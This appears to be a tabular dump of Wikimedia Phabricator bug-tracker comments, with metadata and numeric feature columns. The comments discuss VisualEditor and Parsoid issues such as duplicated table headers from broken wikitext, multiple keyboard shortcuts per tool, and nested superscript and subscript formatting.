How about just using the word ""Template""? Words are more obvious than even the best icons. (A disadvantage of this is that it would require a lot of translations, but this is not a huge problem.)",,,1377638244,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,8.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,4.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,2.0,2.0,0.0,3.4423076923076925,0.8076923076923077,"**ypnypn9** wrote:

How about just using the word ""Template""? Words are more obvious than even the best icons. (A disadvantage of this is that it would require a lot of translations, but this is not a huge problem.)"
55394,Broken wikitext inside a table leads to it and the table header being duplicated,"This is probably an occurrence of an existing bug, but I couldn't find one that really fitted.

In these edits, the table header was duplicated several times:

https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95906046&oldid=95898800
https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95848040&oldid=95838194
https://fr.wikipedia.org/w/index.php?title=CM_Punk&diff=95778036&oldid=95766921

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377596700,1418097332.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_description,resolved,True,c1,3,False,False,False,8,,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,14.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.824561403508772,0.6842105263157895,"This is probably an occurrence of an existing bug, but I couldn't find one that really fitted.

In these edits, the table header was duplicated several times:

URL
URL
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
339708,Broken wikitext inside a table leads to it and the table header being duplicated,"The rts look pretty reasonable to me these days. I'll assume whatever was causing the issue has cleared up.

http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95898800
http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95838194
http://localhost:8000/_rt/frwiki/CM_Punk?oldid=95766921
http://localhost:8000/_rt/frwiki/Utilisateur%3AElitre_%28WMF%29%2FProve_VE?oldid=100438786",,,1418097332,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.533333333333333,0.8,"The rts look pretty reasonable to me these days. I'll assume whatever was causing the issue has cleared up.

URL
URL
URL
URL"
240243,Broken wikitext inside a table leads to it and the table header being duplicated,"Yes, it is:
https://fr.wikipedia.org/w/index.php?title=Utilisateur%3AElitre_%28WMF%29%2FProve_VE&diff=100438830&oldid=100438786 .",,,1390237691,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.75,1.0,"Yes, it is:
URL ."
240241,Broken wikitext inside a table leads to it and the table header being duplicated,Is thist still an issue in production?,,,1386113968,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Is thist still an issue in production?
240238,Broken wikitext inside a table leads to it and the table header being duplicated,"Ya, I've responded to this here: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Multiplication_of_table_headers. 

This general use case of fosterable content has been handled in Parsoid. Not sure why it is failing in production when I cannot reproduce it locally. To be investigated.",,,1380067514,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,14.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,9.0,11.0,2.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9318181818181817,0.8863636363636364,"Ya, I've responded to this here: URL 

This general use case of fosterable content has been handled in Parsoid. Not sure why it is failing in production when I cannot reproduce it locally. To be investigated."
240235,Broken wikitext inside a table leads to it and the table header being duplicated,"Trying to work out what the cause of the bug is here; certainly, it's trying to operate on completely-broken wikitext, viz.:

{| bgcolor=""#f7f0ff"" border=""1"" cellpadding=""2"" cellspacing=""0"" style=""font-size: 90%; border: gray solid 1px; border-collapse: collapse;""
** '''[[Pro Wrestling Illustrated#Top 50 Females|Top 50 Females]]

(!)

This looks to have DSR issues as well (see the creation broken syntax with a single close-] alongside the partial wikitext non-DOM-sensicle duplication), and as the broken edits don't get a VE-check tag I'm assuming the DOM is clean from the VE end - moving to Parsoid.",,,1380067021,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.5,0.0,0.5,6.5,0.5,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.0,0.5,0.0,3.5,7.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,1.0,9.0,0.0,0.5,6.5,0.0,0.0,0.5,0.0,3.0,0.0,3.0,0.0,1.0,7.5,6.0,0.0,3.0,0.0,1.0,0.0,0.5,1.5,0.0,2.5,0.0,0.0,2.0,3.6943661971830988,0.737625754527163,"Trying to work out what the cause of the bug is here; certainly, it's trying to operate on completely-broken wikitext, viz.:

{| bgcolor=""#f7f0ff"" border=""1"" cellpadding=""2"" cellspacing=""0"" style=""font-size: 90%; border: gray solid 1px; border-collapse: collapse;""
** '''[[Pro Wrestling Illustrated#Top 50 Females|Top 50 Females]]

(!)

This looks to have DSR issues as well (see the creation broken syntax with a single close-] alongside the partial wikitext non-DOM-sensicle duplication), and as the broken edits don't get a VE-check tag I'm assuming the DOM is clean from the VE end - moving to Parsoid."
240233,Broken wikitext inside a table leads to it and the table header being duplicated,"More of them, making a lot of damages.
Any idea when someone will look at this bug, prioritize it, assign it and fix it ?

https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96858939&oldid=96858743
https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=next&oldid=96858939
https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96801326&oldid=96761115
https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=prev&oldid=96761115
https://fr.wikipedia.org/w/index.php?title=Kelly_Kelly&diff=96119241&oldid=96014996",,,1379873418,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-pdsk3nihjnd2lxdtnwus,task_subcomment,,True,c1,3,False,,,11,,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,18.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,8.0,8.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,2.975,0.675,"More of them, making a lot of damages.
Any idea when someone will look at this bug, prioritize it, assign it and fix it ?

URL
URL
URL
URL
URL"
55356,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","Right now the CommandRegistry only takes a single command that can be used as a keybinding for a tool on a given platform (i.e. Mac, PC, etc.); it's thus not possible to have two keyboard shortcuts for the same tool, such as Undo (where both Ctrl+Y and Ctrl+Shift+Z are commonly used).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377533460,1394076375.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j32rmxvcdit6df4qvtqi,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,8.0,2.0,11.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,8.0,8.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,3.9,0.725,"Right now the CommandRegistry only takes a single command that can be used as a keybinding for a tool on a given platform (i.e. Mac, PC, etc.); it's thus not possible to have two keyboard shortcuts for the same tool, such as Undo (where both Ctrl+Y and Ctrl+Shift+Z are commonly used).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
238171,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","(In reply to comment #1)
> For ""Undo"" read ""Redo"" in James' comment

Err. Yes. :-)",,,1377535865,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-j32rmxvcdit6df4qvtqi,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4375,0.9375,"(In reply to comment #1)
QUOTE

Err. Yes. :-)"
238165,"VisualEditor: Allow multiple commands (""keyboard shortcuts"") per tool on the same platform","For ""Undo"" read ""Redo"" in James' comment",,,1377533902,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-j32rmxvcdit6df4qvtqi,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.75,"For ""Undo"" read ""Redo"" in James' comment"
55330,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","VE allows to mark text as both superscripted and subscripted (<sup><sub>text</sub></sup> or the other way). That sounds like a bad idea; such text simply ends up being displayed in smaller font.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377465840,1404341917.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-oml53qiv2ffx7tuvmx47,task_description,resolved,True,c1,3,True,False,False,7,,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,4.068965517241379,0.7931034482758621,"VE allows to mark text as both superscripted and subscripted (<sup><sub>text</sub></sup> or the other way). That sounds like a bad idea; such text simply ends up being displayed in smaller font.

--------------------------
**Version**: unspecified
**Severity**: normal"
236835,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Let's leave the bug as fixed in the original fix, not the recent minor breakage.",,,1405043173,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,"Let's leave the bug as fixed in the original fix, not the recent minor breakage."
236828,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Verified the fix in production,,,1405033980,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Verified the fix in production
236820,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 143756 merged by jenkins-bot:
Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes

https://gerrit.wikimedia.org/r/143756",,,1404341575,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.8888888888888888,"Change 143756 merged by jenkins-bot:
Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes

GERRIT_URL"
236810,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 143756 had a related patch set uploaded by Catrope:
Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes

https://gerrit.wikimedia.org/r/143756",,,1404341432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.233333333333333,0.9333333333333333,"Change 143756 had a related patch set uploaded by Catrope:
Follow-up: If717ef98 – Re-add subscript and superscript removes to DM nodes

GERRIT_URL"
236804,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",I can't reproduce. Steps?,,,1404313005,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,I can't reproduce. Steps?
236799,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","This is happening again, the superscript and subscript both are getting applied at the same time.",,,1404239230,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.555555555555555,0.9444444444444444,"This is happening again, the superscript and subscript both are getting applied at the same time."
236793,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)",Verified the fix in betalabs,,,1393631391,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,Verified the fix in betalabs
236790,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 114488 merged by jenkins-bot:
Allow annotations to remove other annotations

https://gerrit.wikimedia.org/r/114488",,,1393453702,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9411764705882353,"Change 114488 merged by jenkins-bot:
Allow annotations to remove other annotations

GERRIT_URL"
236787,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Yeah, that's what I meant. Thanks.",,,1392914022,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.9,"Yeah, that's what I meant. Thanks."
236785,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","(In reply to Bartosz Dziewoński from comment #9)
> (In reply to James Forrester from comment #8)
> > (a) what should happen in VE when the user attempts this
> 
> Text should be either super- or subscripted, not both.
> 
> Nesting superscripts in subscripts, subscripts in superscripts,
> subscripts in subscripts and superscripts in superscripts
> should be impossible, just like it's impossible to nest links in other
> links. Currently only the last two are impossible.

This works for me. Re-wording bug for clarity – is this acceptable to you?",,,1392913756,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oml53qiv2ffx7tuvmx47,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,29.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,15.0,19.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.2916666666666665,0.625,"(In reply to Bartosz Dziewoński from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This works for me. Re-wording bug for clarity – is this acceptable to you?"
236783,"VisualEditor: When text is being made superscripted and is already subscripted, clear the latter (and vice versa)","Change 114488 had a related patch set uploaded by Esanders:
Allow annotations to remove other annotations

